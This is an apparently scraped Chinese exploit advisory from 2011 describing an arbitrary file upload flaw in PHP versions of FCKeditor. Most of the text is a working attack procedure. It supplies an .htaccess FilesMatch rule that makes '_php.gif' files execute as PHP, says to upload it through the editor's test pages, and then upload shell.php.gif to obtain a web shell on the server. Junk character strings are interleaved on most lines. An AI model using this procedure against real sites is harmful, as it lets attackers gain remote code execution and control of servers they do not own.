FCKeditor所有php版本Upload上传漏洞
% v9 I0 g( x, ^; P1 L作者:佚名 来源:本站整理 发布时间:2011-10-25 7:39:07! N: A' j2 g# o
减小字体 增大字体
1 _) Z% r4 O# u: |5 q[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
) x) z3 h0 ]/ k) G2 B2 }[+] Date: 2011
' A8 `/ ]" b" E[+] Author : sinesafe.cn3 T v6 z/ Q' p: ]' o% @2 W3 e
[+] Website : WwW.sinesafe.cn
) A0 j' ]* x6 y' d! _3 ]4 q5 l5 M———————————————————+ _" A+ C8 ^) K9 X, L3 P
1.create a htaccess file:/ [7 ?4 Z3 Q% S$ G/ |, ]
code:
9 \! t/ ^# a$ T- i' Q<FilesMatch “_php.gif”>) G; T: g U3 a$ o6 x
SetHandler application/x-httpd-php0 r$ H! b& L; r8 e& I3 ^% q, z
</FilesMatch>
* X5 n% A5 u+ x7 P# v8 i
' o: K. @! v- }/ r4 p* r2.Now upload this htaccess with FCKeditor.
) }3 N. k( D/ T. f7 U- k- H8 ?" O
' k) X/ y% m2 H1 V) E' khttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html
% `' @: A; m4 X% ?6 |* |8 E$ [4 h( v V: u" u0 h
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html: A1 H+ Y& `' B1 R( q; v
2 _$ \9 Z" d; f( _
———————————————————————————————-
' H- m0 L! y j! b, h/ W3.Now upload shell.php.gif with FCKeditor.7 ^/ h, o2 d) o' O5 T
4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
5 p6 O2 b; T+ U% Z# D4 Q5.http://www.sinesafe.cn/anything/shell_php.gif
% Q0 m' D# c% T: m6.Now shell is available from server. | : ~ T0 C. A% |4 H
( G1 v# {, y3 s! W1 n" m5 P, F( k+ z" H8 E0 N+ s- n$ j
|